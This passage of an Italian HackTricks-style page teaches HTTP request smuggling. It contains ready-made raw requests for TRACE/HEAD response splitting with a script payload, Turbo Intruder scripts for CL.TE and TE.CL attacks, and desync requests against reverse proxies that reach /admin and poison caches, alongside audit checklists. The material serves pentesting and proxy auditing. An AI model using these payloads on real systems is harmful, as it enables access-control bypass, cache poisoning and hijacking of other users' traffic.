Continuando a seguire questo post viene suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggling una richiesta HEAD e una richiesta TRACE è possibile controllare alcuni dati riflessi nella risposta alla richiesta HEAD. La lunghezza del body della richiesta HEAD è sostanzialmente indicata nell’header Content-Length ed è formata dalla risposta alla richiesta TRACE.

Quindi, la nuova idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella risposta TRACE, è possibile fare in modo che la risposta TRACE contenga una risposta HTTP valida dopo l’ultimo byte di Content-Length, permettendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere usata per eseguire un cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la parte della risposta TRACE parte del body della HEAD e, una volta terminato il Content-Length della HEAD, viene smuggled una risposta HTTP valida):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation

Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come sfruttarla. Prova questi altri metodi di exploitation:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Da https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Da: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Vari bug di Pingora del 2026 sono utili perché mostrano primitive di desync oltre i classici CL.TE / TE.CL. La lezione riutilizzabile è: ogni volta che un proxy smette di fare parsing troppo presto, normalizza Transfer-Encoding in modo diverso dal backend, o ricade su read-until-close per i request body, potresti ottenere desync FE↔BE anche senza una tradizionale ambiguità CL/TE.

Premature Upgrade passthrough

Se un reverse proxy passa alla modalità raw tunnel / passthrough non appena vede un header Upgrade, senza aspettare che il backend confermi il passaggio con 101 Switching Protocols, puoi smuggling una seconda request nello stesso stream TCP:

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Il front-end analizza solo la prima richiesta, poi inoltra il resto come byte grezzi. Il backend analizza i byte aggiunti come una nuova richiesta proveniente dall’IP trusted del proxy. Questo è particolarmente utile per:

  • Bypassare proxy ACLs, regole WAF, controlli auth e rate limits.
  • Raggiungere endpoint solo interni che si fidano dell’IP del reverse proxy.
  • Triggerare cross-user response queue poisoning su connessioni backend riutilizzate.

Quando fai auditing dei proxy, testa sempre se qualsiasi valore Upgrade triggera il passthrough, e verifica se il cambio avviene prima o dopo che il backend risponde con 101.

Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback

Un altro pattern utile è:

  1. Il proxy vede che Transfer-Encoding è presente, quindi rimuove Content-Length.
  2. Il proxy fallisce nel normalizzare correttamente TE.
  3. Il proxy ora non ha nessun framing riconosciuto e torna ai close-delimited request bodies per HTTP/1.0.
  4. Il backend comprende correttamente TE e tratta i byte dopo 0\r\n\r\n come una nuova richiesta.

Modi comuni per triggerare questo:

  • Lista TE separata da virgole non parsata:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • I header TE duplicati non vengono uniti:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

I controlli di audit importanti sono:

  • Il front-end analizza l’ultimo token TE, come richiesto quando chunked è l’ultimo?
  • Usa tutti gli header Transfer-Encoding invece del solo primo?
  • Puoi forzare HTTP/1.0 a attivare una body mode read-until-close?
  • Il proxy consente mai close-delimited request bodies? Questo, da solo, è già un segnale ad alto valore di desync.

Questa classe spesso sembra CL.TE dall’esterno, ma il vero primitive è: TE presente –> CL rimosso –> nessuna valid framing riconosciuta –> request body inoltrata fino alla chiusura.

Primitive correlata di cache poisoning: cache key basate solo sul path

La stessa audit di Pingora ha anche rivelato un pericoloso anti-pattern di reverse-proxy cache: derivare la cache key solo dal path della URI, ignorando Host, scheme o port. In deployment multi-tenant o multi-vhost, host diversi possono quindi collidere sulla stessa cache entry:

GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com

Se entrambe le request mappano alla stessa cache key (/api/data), un tenant può avvelenare i contenuti per un altro. Se l’origin riflette l’header Host in redirect, CORS, HTML o URL di script, una bassa riflessione di Host può diventare cross-user stored cache poisoning.

Quando esamini le cache, conferma che la key includa almeno:

  • Host / identità del virtual host
  • scheme (http vs https) quando il comportamento differisce
  • porta quando più applicazioni condividono lo stesso cache namespace

Tools

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks